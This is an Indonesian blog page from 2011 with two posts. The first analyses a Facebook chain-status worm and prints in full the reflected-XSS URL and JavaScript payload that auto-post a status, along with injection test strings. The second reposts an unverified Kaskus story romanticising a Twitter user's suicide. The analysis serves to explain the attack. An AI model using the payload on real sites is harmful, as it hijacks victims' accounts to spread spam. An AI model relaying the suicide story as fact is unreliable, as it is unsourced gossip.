Minggu, 18 Desember 2011

Membuat Status Berantai di Facebook

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.

Analisa
Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
 
URL tersebut akan saya pecah menjadi 3 bagian:
  • http://m.facebook.com/connect/prompt_feed.php
     
  • ?display=wap&user_message_prompt=
     
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status
 


Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

<font color=red><h1>Hello!!</h1></font>
 


Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvRwGPajdwwyNVWwI16ISEmv4N2gLwI2lPwHfNQ3qjMv9zIpgPcQhP9qnuAX70h_4480VwViPHgI9cymT3ihDdjesuqd2Dcijsy9TIhdP8QK9pDnW9kEV_YRHvM8h2GUNYHJB4_pNECzw/s320/Hacked.jpg"/>
 


Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:

<script>prompt("Enter your PIN");</script>
 

Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh

user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
 
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.



Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.

Minggu, 13 November 2011

Kisah Cinta Yang Menyedihkan di Twitter

Cerita Cinta yang menyedihkan dari twitter...
Cowo ini (Id twitternya @raassaa) rela meninggalkan dunia karena memendam perasaan cinta dan tidak bisa mengungkapkan isi hatinya kepada sang pujaan yang dikenalnya lewat twitter...

Ceritanya gini gan, mereka berkenalan lewat twitter, dan sering berbalas tweet di twitter, perkenalan mereka berlanjut ke YM, BBM, dan Telpon.
Seiring waktu berlalu, @Raassaa mulai mulai tumbuh benih-benih cinta, dan tweetnya sering berisi kata-kata tentang cinta...

Suatu saat, melalui Facebook, @Raassaa mengetahui kalo pujaan hatinya telah mempunyai kekasih, @Raassaa melihat status si cewe "In Relationship with"

Akhirnya @Raassaa berniat menemui pujaan hatinya. Kemudian mereka bertemu, namun @Raassaa tidak dapat mengungkapkan isi hatinya dan hanya bisa memendamnya...

Kebetulan gw follow twitternya @Raassaa, jadi gw tau apa aja yg diposting@Raassaa. Dan belum lama gw baca postingan terakhir @Raassaa:
bye beb... it's my last tweet, nice to know u. In the end of my life, i can only give u a song, heres the song http://bit.ly/6IZ2KK I LOVE U

http://i46.tinypic.com/3443v5v.jpg

dan gak lama setelah itu gw dapet sms dari temen gw, klo @Raassaa udah gak ada... 

Gw download lagunya, trus gw dengerin... asli, gw merinding gan...
coba aja denger sendiri gan... ini linknya http://bit.ly/6IZ2KK

gosipnya dia nulis lagu itu pas dalam perjalanan pulang setelah bertemu pujaan hatinya...

poor him... mungkin dia memilih mati daripada hidup terbelenggu cinta, kira-kira gitu sih cerita yg bisa gw simpulin dari postingan-postingannya dia di twitter... sayang skrg udah pada di del postingan dia, hanya tinggal postingan dia yang terakhir...

UPDATE
info terakhir yang gw dapet @Raassaa meninggal karena tenggelam, gw gak tau tenggelam dimana gan...

Sumber : kaskus